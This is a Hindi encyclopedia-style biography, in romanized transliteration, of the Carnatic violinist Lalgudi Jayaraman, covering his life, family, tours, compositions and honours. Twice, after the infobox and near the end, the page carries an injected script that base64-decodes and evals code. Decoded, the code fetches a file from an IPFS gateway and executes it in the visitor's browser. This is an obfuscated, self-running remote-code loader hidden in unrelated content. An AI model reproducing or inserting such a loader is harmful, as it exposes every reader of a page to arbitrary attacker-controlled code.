लालगुड़ी जयरमण
lalagu di jayaraman
| |
poora nam | lalagu di jayaraman |
janm | 17 sitambar |
janm bhoomi | 1930, tiruchi zila, tamilanadu |
mrityu | 22 aprail, 2013 |
pati/patni | rajalakshmi |
santan | ji.je.ar. krishnan tatha lalagu di vijayalakshmi |
karm bhoomi | bharat |
karm-kshetr | shastriy sangit |
puraskar-upadhi | padmashri (1972) |
prasiddhi | vayalin vadak |
nagarikata | bharatiy |
any janakari | ek sangitakar ke roop mean lalagu di jayaraman ko char bhashaoan- 'telugoo', 'tamil', 'kann d' aur 'sanskrit' mean prasiddhi prapt thi. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
lalagu di jayaraman (aangrezi: Lalgudi Jayaraman; janm- 17 sitambar, 1930, tiruchi zila, tamilanadu; mrityu- 22 aprail, 2013) bharat ke jane-mane vayalin vadak the. 'telugoo', 'tamil', 'kann d' aur 'sanskrit' ke sangitakar ke roop mean unaki vishesh pahachan thi. apane samriddh kalpana, tivr abhigrahan kshamata aur karnatak sangit mean agrani sangitajnoan ki vyaktigat shaili ko unake sath samaroh mean ja kar asani se apana lene ki apani kshamata ke chalate ye bahut jald agrani pankti ke sangitajn ban ge. sangit samarohoan se mile samriddh anubhav ke alava apani k di mehanat, lagan aur apane andar utpann ho rahe sangit ke vicharoan ko maulik abhivyakti dene ki dridh ichchha ke bal par ye durlabh pratibha ke ekal vayalin vadak ke roop mean ubhar kar aye.[1]
jivan parichay
shri lalagu di jayaraman ayyar ka janm 17 sitambar, 1930 ko chennee (tamilanadu) ke mahan sant sangitakar tyagaraj ke vansh mean hua tha. inhoanne bahumukhi pratibha ke dhani apane divangat pita gopal ayyar vi.ar. se karnatak sangit ki shiksha prapt ki. unake pita ne b di kushalata se inhean svayan prashikshit kiya tha. matr 12 varsh ki umr mean hi inhoanne ek vayalin vadak ke roop mean apane sangit kॅriyar ki shurooat ki.
inhoanne samagr roop se vayalin vadan ki ek nee takanik ko sthapit kiya, jise bharatiy shastriy sangit ki sarvashreshth anukoolata ke lie banaya gaya tha, aur ek advitiy shaili ko sthapit kiya, jise ‘lalagudi bani’ ke roop mean jana jata hai. inaki siddh aur akarshak shaili, suandar aur maulik thi jo ki paranparik shaili se alag nahian thian. isake karan inake prashansakoan ki sankhya dinoan-din badhati hi gee. is bahuayami vyaktitv sauandary ke karan inhean kee kritiyoan jaise ‘tilanas’, ‘varanam’ aur nrity rachana ke nirman ka shrey bhi diya gaya, jisamean rag, bhav, tal aur gitatmak saundary ka adbhut mishran hai. inhoanne vayalin mean sabase adhik maang vali shaili ko pesh kiya aur rachanaoan ki gitatmak samagri ka prastutikaran kiya. ye aise pahale vyakti haian jinhoanne karnatak shaili ke vayalin vadan ko aantarrashtiy khyati dilavaee. sath hi inhoanne varsh 1996 mean vayalin, venu (baansuri) aur vina ke sath ko jo dane ki ek nee avadharana ki shurooat ki aur kee mahatvapoorn karyakram (kansart) bhi kie.[1]
vivah
lalagu di jayaraman ka vivah shrimati rajalakshmi se hua. inake do bachchean haian- inake bete ka nam ji.je. ar. krishnan hai aur inaki beti ka nam lalagudi vijayalakshmi hai. inaka beta aur beti donoan apane mahan pita ke nakshe kadam par aj bhi chal rahe haian aur apani prastutiyoan ke lie jane jate haian. ajakal ki prasiddh vina vadak jayanti kumaresh, lalagudi ki bhatiji haian.[1]
samakalin any sangit visheshajnoan ke sath sambandh
gayakoan ke sath sangat karane ke lie lalagu di jayaraman ki kaphi maang rahati thi aur ariyakudi ramanuja ayangar, chembee vaidinath bhagavatar, semaandagu di shrinivas ayyar, ji.en. balasubramanyam, madurai mani ayyar, ke.vi. narayanasvami, maharajapuram santhanam, di.ke. jayaraman, em. bal muralikrishnaa, ti.vi. sankar narayananan, ti.en. shesh gopalan aur baansuri sangitajn jaise en. ramani jaise mahan visheshajnoan aur gayakoan ke sath inhoanne kam kiya.
desh-videsh mean sangit karyakram
inhoanne b de paimane par bharat ke sath-sath videshoan mean bhi apane sangit ki prastutiyaan di. bharat sarakar ne inhean bharatiy saanskritik pratinidhimandal ke ek sadasy ke roop mean roos bheja tha. varsh 1965 mean edinabarg tyohar par prasiddh vayalinavadak yehudi menuhin inake takanik se kaphi prabhavit hue aur unhoanne inhean apana italavi vayalin bheant kiya tha. sath hi inhoanne siangapur, maleshiya, manila aur poorvi yooropiy deshoan mean apana pradarshan kiya. varsh 1979 ke dauran inaki nee dilli akashavani mean hue rik aaurdiang ko aantarrashtriy sangit parishadh, bagadad, eshiyaee paisiphik rostram aur irak prasaran ejeansi mean inake prastut rik aaurdiang ko vibhinn deshoan se prapt 77 pravishtiyoan mean sarvashreshth ghoshit kiya gaya. inhoanne beljiyam aur phraans ke sangit samaroh mean bhi apana karyakram prastut kiya.
bharat sarakar ne amerika evan landan mean ‘phestival aauph iandiya’ mean bharat ka pratinidhitv karane ke lie inhean chuna aur inhoanne landan mean ‘ekal’ aur ‘jugalabandi’ kansart pesh kiya aur sath hi jarmani aur itali mean bhi prastuti di, jisaki kaphi prashansa ki gee thi. varsh 1984 mean shri lalagudi ne oman, sanyukt arab amirat, baharin aur katar ka daura kiya, jo atyadhik saphal raha. inhoanne opera baile ‘jay jay devi’ ke git aur sangit ki rachana ki, jisaka primiyar varsh 1994 mean klivalaiand (amerika) mean kiya gaya aur sanyukt rajy ke kee shaharoan mean ise pradarshit kiya gaya tha. aktoobar, 1999 mean lalagudi ne shruthi laya sangham (ianstityoot aauph phain arts) ke tatvavadhan mean briten mean apane kala ka pradarshan kiya tha. yahaan sangit karyakram ke bad lalagu di dvara rachit ek nrity natika ‘panchesvaram’ ka manchan bhi kiya gaya tha.[1]
rachanaean
‘thilanas’ aur ‘varanam’ ke lie sabase prasiddh shri lalagu di jayaraman ko adhunik samay mean sabase saphal shashtriy sangitakaroan mean se ek mana jata hai. inaki rachanaean char bhashaoan (tamil, telugoo, kann d aur sanskrit) mean haian. ve rag ke sabhi kshetroan mean sangit rachana karate the. inaki shaili ki visheshata hai inaki rachanaoan ka madhury, dhyanapoorvak sookshm talabaddh ka parishkrit aliangan. inaki rachanaean bharatanatyam nrityaanganaoan ke bich bahut lokapriy haian.[1]
nidhan
82 varsh ki ayu mean lalagu di jayaraman ka nidhan 22 aprail, 2013 ko hua.
puraskar evan samman
- inhean varsh 1963 mean myoojik lavars esosieshan aauph lalagudi dvara ‘nad vidya tilak’ se sammanit kiya gaya.
- bharati sosayati (nyooy aaurk) dvara inhean varsh 1971 mean ‘vidya sangit kalaratn’ se bhi sammanit kiya gaya.
- phedereshan aauph myoojik sabha (madras) dvara ‘sangit choo damani’ se inhean varsh 1971 mean sammanit kiya gaya.
- varsh 1972 mean inhean bharat sarakar dvara apane nagarik samman ‘padmashri’ se sammanit kiya gaya.
- inhean eest vest eksacheanj (nyooy aaurk) dvara ‘nad vidya ratnakar’ puraskar se sammanit kiya gaya.
- varsh 1979 mean inhean tamilanadu sarakar aur sangit natak akadami dvara ‘stet vidvan’ ke puraskar se sammanit kiya gaya.
- varsh 1994 mean inhean mairilaiand (amerika) ki manad nagarikata bhi pradan ki gayi.
- varsh 2001 mean inhean bharat sarakar dvara apane sarvochch nagarik sammanoan mean se ek ‘padmabhooshan’ se sammanit kiya gaya.
- inhoanne varsh 2006 mean philm ‘shrinagaram’ mean best myoojik dayarekshan ke lie ‘neshanal philm avard’ bhi prapt kiya.
- karnatak ke mukhyamantri dvara inhean ‘pharst chaudiya memoriel-leval puraskar’ bhi diya gaya.
- varsh 2010 mean inhean sangit natak akadami ka sadasy bhi banaya gaya.[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh